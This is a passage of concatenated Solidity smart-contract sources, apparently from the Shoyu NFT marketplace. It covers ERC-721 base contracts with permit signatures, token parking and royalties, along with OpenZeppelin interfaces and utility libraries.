`target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; library Orders { // keccak256("Ask(address signer,address proxy,address token,uint256 tokenId,uint256 amount,address strategy,address currency,address recipient,uint256 deadline,bytes params)") bytes32 internal constant ASK_TYPEHASH = 0x5fbc9a24e1532fa5245d1ec2dc5592849ae97ac5475f361b1a1f7a6e2ac9b2fd; // keccak256("Bid(bytes32 askHash,address signer,uint256 amount,uint256 price,address recipient,address referrer)") bytes32 internal constant BID_TYPEHASH = 0xb98e1dc48988064e6dfb813618609d7da80a8841e5f277039788ac4b50d497b2; struct Ask { address signer; address proxy; address token; uint256 tokenId; uint256 amount; address strategy; address currency; address recipient; uint256 deadline; bytes params; uint8 v; bytes32 r; bytes32 s; } struct Bid { bytes32 askHash; address signer; uint256 amount; uint256 price; address recipient; address referrer; uint8 v; bytes32 r; bytes32 s; } function hash(Ask memory ask) internal pure returns (bytes32) { return keccak256( abi.encode( ASK_TYPEHASH, ask.signer, ask.proxy, ask.token, ask.tokenId, ask.amount, ask.strategy, ask.currency, ask.recipient, ask.deadline, keccak256(ask.params) ) ); } function hash(Bid memory bid) internal pure returns (bytes32) { return keccak256( abi.encode(BID_TYPEHASH, bid.askHash, bid.signer, bid.amount, bid.price, bid.recipient, bid.referrer) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; /// @title Interface for verifying contract-based account signatures /// @notice Interface that verifies provided signature for the data /// @dev Interface defined by EIP-1271 interface IERC1271 { /// @notice Returns whether the provided signature is valid for the provided data /// @dev MUST return the bytes4 magic value 0x1626ba7e when function passes. /// MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5). /// MUST allow external calls. /// @param hash Hash of the data to be signed /// @param signature Signature byte array associated with _data /// @return magicValue The bytes4 magic value 0x1626ba7e function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./interfaces/INFT721.sol"; import "./base/BaseNFT721.sol"; import "./base/BaseExchange.sol"; contract NFT721V0 is BaseNFT721, BaseExchange, IERC2981, INFT721 { uint8 internal _MAX_ROYALTY_FEE; address internal _royaltyFeeRecipient; uint8 internal _royaltyFee; // out of 1000 function initialize( address _owner, string memory _name, string memory _symbol, uint256[] memory tokenIds, address royaltyFeeRecipient, uint8 royaltyFee ) external override initializer { __BaseNFTExchange_init(); initialize(_name, _symbol, _owner); _MAX_ROYALTY_FEE = ITokenFactory(_factory).MAX_ROYALTY_FEE(); for (uint256 i = 0; i < tokenIds.length; i++) { _safeMint(_owner, tokenIds[i]); } _setRoyaltyFeeRecipient(royaltyFeeRecipient); _royaltyFee = type(uint8).max; if (royaltyFee != 0) _setRoyaltyFee(royaltyFee); } function initialize( address _owner, string memory _name, string memory _symbol, uint256 toTokenId, address royaltyFeeRecipient, uint8 royaltyFee ) external override initializer { __BaseNFTExchange_init(); initialize(_name, _symbol, _owner); _MAX_ROYALTY_FEE = ITokenFactory(_factory).MAX_ROYALTY_FEE(); _parkTokenIds(toTokenId); emit ParkTokenIds(toTokenId); _setRoyaltyFeeRecipient(royaltyFeeRecipient); _royaltyFee = type(uint8).max; if (royaltyFee != 0) _setRoyaltyFee(royaltyFee); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Initializable, IERC165) returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } function DOMAIN_SEPARATOR() public view override(BaseNFT721, BaseExchange, INFT721) returns (bytes32) { return BaseNFT721.DOMAIN_SEPARATOR(); } function factory() public view override(BaseNFT721, BaseExchange, INFT721) returns (address) { return _factory; } function royaltyInfo(uint256, uint256 _salePrice) external view override returns (address, uint256) { uint256 royaltyAmount; if (_royaltyFee != type(uint8).max) royaltyAmount = (_salePrice * _royaltyFee) / 1000; return (_royaltyFeeRecipient, royaltyAmount); } function _transfer( address, address from, address to, uint256 tokenId, uint256 ) internal override { if (from == owner() && _parked(tokenId)) { _safeMint(to, tokenId); } else { _transfer(from, to, tokenId); } } function setRoyaltyFeeRecipient(address royaltyFeeRecipient) public override onlyOwner { _setRoyaltyFeeRecipient(royaltyFeeRecipient); } function setRoyaltyFee(uint8 royaltyFee) public override onlyOwner { _setRoyaltyFee(royaltyFee); } function _setRoyaltyFeeRecipient(address royaltyFeeRecipient) internal { require(royaltyFeeRecipient != address(0), "SHOYU: INVALID_FEE_RECIPIENT"); _royaltyFeeRecipient = royaltyFeeRecipient; emit SetRoyaltyFeeRecipient(royaltyFeeRecipient); } function _setRoyaltyFee(uint8 royaltyFee) internal { if (_royaltyFee == type(uint8).max) { require(royaltyFee <= _MAX_ROYALTY_FEE, "SHOYU: INVALID_FEE"); } else { require(royaltyFee < _royaltyFee, "SHOYU: INVALID_FEE"); } _royaltyFee = royaltyFee; emit SetRoyaltyFee(royaltyFee); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "./IBaseNFT721.sol"; import "./IBaseExchange.sol"; interface INFT721 is IBaseNFT721, IBaseExchange { event SetRoyaltyFeeRecipient(address recipient); event SetRoyaltyFee(uint8 fee); function initialize( address _owner, string calldata _name, string calldata _symbol, uint256[] calldata tokenIds, address royaltyFeeRecipient, uint8 royaltyFee ) external; function initialize( address _owner, string calldata _name, string calldata _symbol, uint256 toTokenId, address royaltyFeeRecipient, uint8 royaltyFee ) external; function DOMAIN_SEPARATOR() external view override(IBaseNFT721, IBaseExchange) returns (bytes32); function factory() external view override(IBaseNFT721, IBaseExchange) returns (address); function setRoyaltyFeeRecipient(address _royaltyFeeRecipient) external; function setRoyaltyFee(uint8 _royaltyFee) external; } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/utils/Strings.sol"; import "../interfaces/IBaseNFT721.sol"; import "../interfaces/IERC1271.sol"; import "../interfaces/ITokenFactory.sol"; import "../base/ERC721Initializable.sol"; import "../base/OwnableInitializable.sol"; import "../libraries/Signature.sol"; abstract contract BaseNFT721 is ERC721Initializable, OwnableInitializable, IBaseNFT721 { // keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad; // keccak256("Permit(address owner,address spender,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_ALL_TYPEHASH = 0xdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df62; bytes32 internal _DOMAIN_SEPARATOR; uint256 internal _CACHED_CHAIN_ID; address internal _factory; string internal __baseURI; mapping(uint256 => string) internal _uris; mapping(uint256 => uint256) public override nonces; mapping(address => uint256) public override noncesForAll; function initialize( string memory _name, string memory _symbol, address _owner ) public override initializer { __ERC721_init(_name, _symbol); __Ownable_init(_owner); _factory = msg.sender; _CACHED_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view virtual override returns (bytes32) { bytes32 domainSeparator; if (_CACHED_CHAIN_ID == block.chainid) domainSeparator = _DOMAIN_SEPARATOR; else { domainSeparator = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } return domainSeparator; } function factory() public view virtual override returns (address) { return _factory; } function tokenURI(uint256 tokenId) public view override(ERC721Initializable, IERC721Metadata) returns (string memory) { require(_exists(tokenId) || _parked(tokenId), "SHOYU: INVALID_TOKEN_ID"); string memory _uri = _uris[tokenId]; if (bytes(_uri).length > 0) { return _uri; } else { string memory baseURI = __baseURI; if (bytes(baseURI).length > 0) { return string(abi.encodePacked(baseURI, Strings.toString(tokenId), ".json")); } else { baseURI = ITokenFactory(_factory).baseURI721(); string memory addy = Strings.toHexString(uint160(address(this)), 20); return string(abi.encodePacked(baseURI, addy, "/", Strings.toString(tokenId), ".json")); } } } function parked(uint256 tokenId) external view override returns (bool) { return _parked(tokenId); } function setTokenURI(uint256 id, string memory newURI) external override onlyOwner { _uris[id] = newURI; emit SetTokenURI(id, newURI); } function setBaseURI(string memory uri) external override onlyOwner { __baseURI = uri; emit SetBaseURI(uri); } function parkTokenIds(uint256 toTokenId) external override { require(owner() == msg.sender || _factory == msg.sender, "SHOYU: FORBIDDEN"); _parkTokenIds(toTokenId); emit ParkTokenIds(toTokenId); } function mint( address to, uint256 tokenId, bytes memory data ) external override { require(owner() == msg.sender || _factory == msg.sender, "SHOYU: FORBIDDEN"); _safeMint(to, tokenId, data); } function mintBatch( address to, uint256[] memory tokenIds, bytes memory data ) external override { require(owner() == msg.sender || _factory == msg.sender, "SHOYU: FORBIDDEN"); for (uint256 i = 0; i < tokenIds.length; i++) { _safeMint(to, tokenIds[i], data); } } function burn( uint256 tokenId, uint256 label, bytes32 data ) external override { require(ownerOf(tokenId) == msg.sender, "SHOYU: FORBIDDEN"); _burn(tokenId); emit Burn(tokenId, label, data); } function burnBatch(uint256[] memory tokenIds) external override { for (uint256 i = 0; i < tokenIds.length; i++) { uint256 tokenId = tokenIds[i]; require(ownerOf(tokenId) == msg.sender, "SHOYU: FORBIDDEN"); _burn(tokenId); } } function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(block.timestamp <= deadline, "SHOYU: EXPIRED"); address owner = ownerOf(tokenId); require(owner != address(0), "SHOYU: INVALID_TOKENID"); require(spender != owner, "SHOYU: NOT_NECESSARY"); bytes32 hash = keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[tokenId]++, deadline)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); _approve(spender, tokenId); } function permitAll( address owner, address spender, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(block.timestamp <= deadline, "SHOYU: EXPIRED"); require(owner != address(0), "SHOYU: INVALID_ADDRESS"); require(spender != owner, "SHOYU: NOT_NECESSARY"); bytes32 hash = keccak256(abi.encode(PERMIT_ALL_TYPEHASH, owner, spender, noncesForAll[owner]++, deadline)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); _setApprovalForAll(owner, spender, true); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "./IOwnable.sol"; interface IBaseNFT721 is IERC721, IERC721Metadata, IOwnable { event SetTokenURI(uint256 indexed tokenId, string uri); event SetBaseURI(string uri); event ParkTokenIds(uint256 toTokenId); event Burn(uint256 indexed tokenId, uint256 indexed label, bytes32 data); function PERMIT_TYPEHASH() external view returns (bytes32); function PERMIT_ALL_TYPEHASH() external view returns (bytes32); function DOMAIN_SEPARATOR() external view returns (bytes32); function factory() external view returns (address); function nonces(uint256 tokenId) external view returns (uint256); function noncesForAll(address account) external view returns (uint256); function parked(uint256 tokenId) external view returns (bool); function initialize( string calldata name, string calldata symbol, address _owner ) external; function setTokenURI(uint256 id, string memory uri) external; function setBaseURI(string memory uri) external; function parkTokenIds(uint256 toTokenId) external; function mint( address to, uint256 tokenId, bytes calldata data ) external; function mintBatch( address to, uint256[] calldata tokenIds, bytes calldata data ) external; function burn( uint256 tokenId, uint256 label, bytes32 data ) external; function burnBatch(uint256[] calldata tokenIds) external; function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function permitAll( address owner, address spender, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IOwnable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() external view returns (address); function renounceOwnership() external; function transferOwnership(address newOwner) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Initializable is Initializable, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Upper bound of tokenId parked uint256 private _toTokenIdParked; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "SHOYU: INVALID_OWNER"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _owners[tokenId]; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "SHOYU: INVALID_TOKEN_ID"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Initializable.ownerOf(tokenId); require(to != owner, "SHOYU: INVALID_TO"); require(msg.sender == owner || isApprovedForAll(owner, msg.sender), "SHOYU: FORBIDDEN"); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "SHOYU: INVALID_TOKEN_ID"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(msg.sender, operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, tokenId), "SHOYU: NOT_APPROVED_NOR_OWNER"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId), "SHOYU: FORBIDDEN"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "SHOYU: INVALID_RECEIVER"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "SHOYU: INVALID_TOKEN_ID"); address owner = ERC721Initializable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _setApprovalForAll( address owner, address operator, bool approved ) internal { require(operator != owner, "SHOYU: INVALID_OPERATOR"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _parked(uint256 tokenId) internal view virtual returns (bool) { address owner = ERC721Initializable.ownerOf(tokenId); return owner == address(0) && tokenId < _toTokenIdParked; } function _parkTokenIds(uint256 toTokenId) internal virtual { uint256 fromTokenId = _toTokenIdParked; require(toTokenId > fromTokenId, "SHOYU: INVALID_TO_TOKEN_ID"); _toTokenIdParked = toTokenId; } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "SHOYU: INVALID_RECEIVER"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "SHOYU: INVALID_TO"); require(!_exists(tokenId), "SHOYU: ALREADY_MINTED"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Initializable.ownerOf(tokenId); require(owner != address(0), "SHOYU: INVALID_TOKEN_ID"); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Initializable.ownerOf(tokenId) == from, "SHOYU: TRANSFER_FORBIDDEN"); require(to != address(0), "SHOYU: INVALID_RECIPIENT"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Initializable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned 